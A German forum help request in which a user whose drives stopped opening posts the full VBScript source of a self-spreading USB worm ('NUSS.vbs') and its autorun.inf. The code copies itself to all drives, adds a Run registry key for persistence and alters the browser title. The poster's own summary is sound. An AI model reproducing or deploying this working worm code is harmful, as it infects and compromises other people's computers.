Ich konnte ne Weile meine Festplatten nicht öffnen. Trotz Doppelklick tat sich einfach nix. Jetzt hab ich den Grund gefunden - folgende Dateien "INDIE.vbs" und "NUSS.vbs" (beide selber Inhalt) fanden sich bei mir auf jeder Partition:
Code:
'Mutation of Trojan virus.
'My name is NUSS.vbs
On error resume next
Dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd,oldname,newname,rgname
Set fs = createobject("Scripting.FileSystemObject")
Set wn = WScript.CreateObject("WScript.Network")
Set mf = fs.getfile(Wscript.ScriptFullname)
oldname=CStr(fs.getfilename(Wscript.ScriptFullname))
newname = wn.ComputerName & ".vbs"
rgname = Replace(newname,".vbs","")
atr = "[autorun]"&vbcrlf&"shellexecute=wscript.exe NUSS.vbs"
dim text,size
size = mf.size
check = mf.drive.drivetype
Set text=mf.openastextstream(1,-2)
do while not text.atendofstream
mysource=mysource&text.readline
mysource=mysource & vbcrlf
Loop
mysource=Replace(mysource,oldname,newname)
do
Set winpath = fs.getspecialfolder(0)
Set tf = fs.getfile(winpath & "\SYSTEM32\" & newname)
tf.attributes = 32
Set tf=fs.createtextfile(winpath & "\SYSTEM32\" & newname,2,true)
tf.write mysource
tf.close
Set tf = fs.getfile(winpath & "\SYSTEM32\" & newname)
tf.attributes = 39
For each flashdrive in fs.drives
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> "A:" Then
Set tf=fs.getfile(flashdrive.path &"\NUSS.vbs")
tf.attributes =32
Set tf=fs.createtextfile(flashdrive.path &"\NUSS.vbs",2,true)
tf.write mysource
tf.close
Set tf=fs.getfile(flashdrive.path &"\NUSS.vbs")
tf.attributes =39
Set tf =fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes = 32
Set tf=fs.createtextfile(flashdrive.path &"\autorun.inf",2,true)
tf.write atr
tf.close
Set tf =fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes=39
End If
next
Set rg = createobject("WScript.Shell")
rg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\" & rgname & "",winpath&"\SYSTEM32\" & newname
rg.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title","Hacked by " & Replace(oldname, ".vbs","")
if check <> 1 then
Wscript.sleep 120000
End if
loop while check<>1
Set sd = createobject("Wscript.shell")
sd.run winpath&"\explorer.exe /e,/select, "&Wscript.ScriptFullname Außerdem dazu eine autorun.inf mit
Code:
[autorun]
shellexecute=wscript.exe NUSS.vbs
Also so wie ich das sehe tut das Script nicht mehr, als sich selbst von einem USB-Stick auf alle an einem Rechner befindlichen Partitionen und Laufwerke zu schreiben mit dem Autorun-Vermerk. Außerdem dann einen Eintrag in die Windows-Start-Liste und die Veränderung der IE-Titelleiste in "hacked by XYZ".
Ist da sonst noch was, das ich übersehe? Ich hoffe, ich hab den Scheiß jetzt endgültig entfernen können. Seltsamerweise ist mein Virenscanner nicht mehr da, weshalb ich halt befürchte, dass da noch mehr ist.
LG
Jonny
